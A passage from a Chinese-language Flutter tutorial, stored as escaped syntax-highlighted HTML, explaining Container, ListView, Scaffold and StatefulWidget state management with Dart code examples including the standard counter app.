class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中 InformationWithIcon 是这样的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIconData\u003c/span\u003e \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003esize:\u003c/span\u003e \u003cspan class=\"m\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etertiary\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSizedBox\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eExpanded\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTagsBoxes 需要在 Container 讲明白了之后才能说明。\u003c/p\u003e\n\u003ch3 id=\"container\"\u003eContainer\u003c/h3\u003e\n\u003cp\u003eContainer是一个拥有绘制、定位、调整大小的 widget,是开发中最常用、最基础的组件。顾名思义,他能包装很多的组件。地位类似于 HTML 的 div。\u003c/p\u003e\n\u003cp\u003e上面的组件,如果我要成为一个个卡片,我得用这个包装:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 上面展示的东西 */\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e对于 Container,我们需要引入一些对于有些人很熟悉的东西,也就是说,Margin 和 Padding,外边距和内边距。对于 Container 而言,内边距用到的最多。我们还可以设置这玩意的边框,圆角,背景颜色之类。扩展完相当于这样:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eborderRadious:\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epurple\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 上面展示的东西 */\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e类似于这个:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\n \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;background-color:purple;border-radius:10%;padding:15px\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\nxxx\n\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e实际上 Container 是很多部件的最终实现方式,比如 Card,他就说按照设计规范,设计好背景颜色,边框圆角,背景颜色之类。除此之外,还有强制设定长宽的 SizedBox,强制设定装饰的 DecortatedBox 等,都可以算 Container 的扩展。实际代码中,我直接把上面提到的 Warp 套进 Card 了。\u003c/p\u003e\n\u003cp\u003e最终,我说明一下上面说到的 TagBoxes。代码是这样的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromLTRB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003ebackgroundColor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003etextColor\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etextScaleFactor:\u003c/span\u003e \u003cspan class=\"m\"\u003e0.9\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"listview\"\u003eListView\u003c/h3\u003e\n\u003cp\u003e卡片介绍就这样了,在实际情况下,我们会有超级多的记录。根据思维惯性,我们会想让其做成一个可以滚动的菜单。不过不能用 Column,因为单纯的 Column 缺少滚动侦测器,也就是说,我们缺少一个侦测目前该滚动菜单滚动位置的侦测器。所以,我们需要使用 ListView 部件,他默认有一个滚动侦测器。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eListView\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003exxx\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e......\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e滚动侦测器涉及到接下来要说的状态管理。\u003c/p\u003e\n\u003ch3 id=\"scafford\"\u003eScafford\u003c/h3\u003e\n\u003cp\u003eMaterial 设计的页面部件框架,包括但不限于:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eappBar:上面的导航栏(可以设置标题和右面的小按钮,称为 action)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003etabBar:一个框架的分页,分页内容另有设置\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ebody:页面的主要部分,对于截图是打卡记录\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ebottomNavigationBar:底部的导航栏,对于截图是展示次数以及转换\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"flutter-内部的状态管理\"\u003eFlutter 内部的状态管理\u003c/h2\u003e\n\u003ch3 id=\"声明式编程\"\u003e声明式编程\u003c/h3\u003e\n\u003cp\u003e我先念一段上网找到的定义:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e命令式编程就像它的名字一样,它由开发者我们一步一步的告述计算机,执行一系列的操作,然后得到想要的结果,起主要作用的是开发者,计算机只是帮助开发者执行计算而已。我们日常使用的大多数语言都属于命令式。\u003c/p\u003e\n\u003cp\u003e而声明式编程却与此相反,它不是告述计算机做什么做,而是直接告述计算它想要的结果,至于怎么做,由预先写好的程序依据一定的算法由计算机自动推算出来。这类定义比如 SQL,Vue 的响应式组件。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e官方给了个这个公式:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eUI = f(state)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFlutter 部件的构造过程,如这个公式所见,是这样的:\u003c/p\u003e\n\u003cp\u003e我们有一个UI,或者说部件,的构造函数,里面写好了这个部件需要接收,或者监听的状态。我们通过创建,修改这个状态,让程序组建/更新我们的部件。这个状态就是我们希望的结果。这说起来十分拗口,我们上两个例子。\u003c/p\u003e\n\u003ch3 id=\"statefulwidget-内部管理和-setstate\"\u003eStatefulWidget 内部管理和 setstate\u003c/h3\u003e\n\u003cp\u003e之前我们提到的部件,都是 Stateless 部件,也就是说,这个部件的状态不会变,在我们一开始渲染的时候,就写死了。\u003c/p\u003e\n\u003cp\u003e但是,状态有时候是需要更新的。比如说,最开始那个计数器应用,我们需要记下来目前数字是多少,并且我们需要能响应添加和减少。鉴于这个,我们需要引入 StatefulWidget 来实现这个。\u003c/p\u003e\n\u003cp\u003eStatefulWidget 依靠 setState 来刷新部件,我们看一下计数器代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 所有应用的入口\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003erunApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyApp\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 这些都是定义框架的\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyApp\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyApp\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eMaterialApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Flutter Demo\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etheme:\u003c/span\u003e \u003cspan class=\"n\"\u003eThemeData\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eprimarySwatch:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eblue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ehome:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Flutter Demo Home Page\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// StatefulWidget 可以通过输入 stful 来快速生成\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// StatelessWidget 通过输入 stless 来生成\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyHomePage\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatefulWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// 所有在 Widget 里面的东西都是 final\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// 状态在此生成\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ecreateState\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e_MyHomePageState\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003e_MyHomePageState\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e_counter\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// 注意里面的 setState,他是用来更新部件状态的\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 里面的函数就是状态是如何被更新的了\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003e_incrementCounter\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003e_counter\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// 每当 setState 运行,部件状态被更新,这个函数会重新运行\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 更新适应这个状态的部件\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003eCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 这里看不懂,建议看上面的组件\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"s1\"\u003e\u0026#39;You have pushed the button this many times:\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003e_counter\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003etextTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheadlineMedium\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003efloatingActionButton:\u003c/span\u003e \u003cspan class=\"n\"\u003eFloatingActionButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 注意这里,这个按钮按下的时候,会执行这个函数\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan 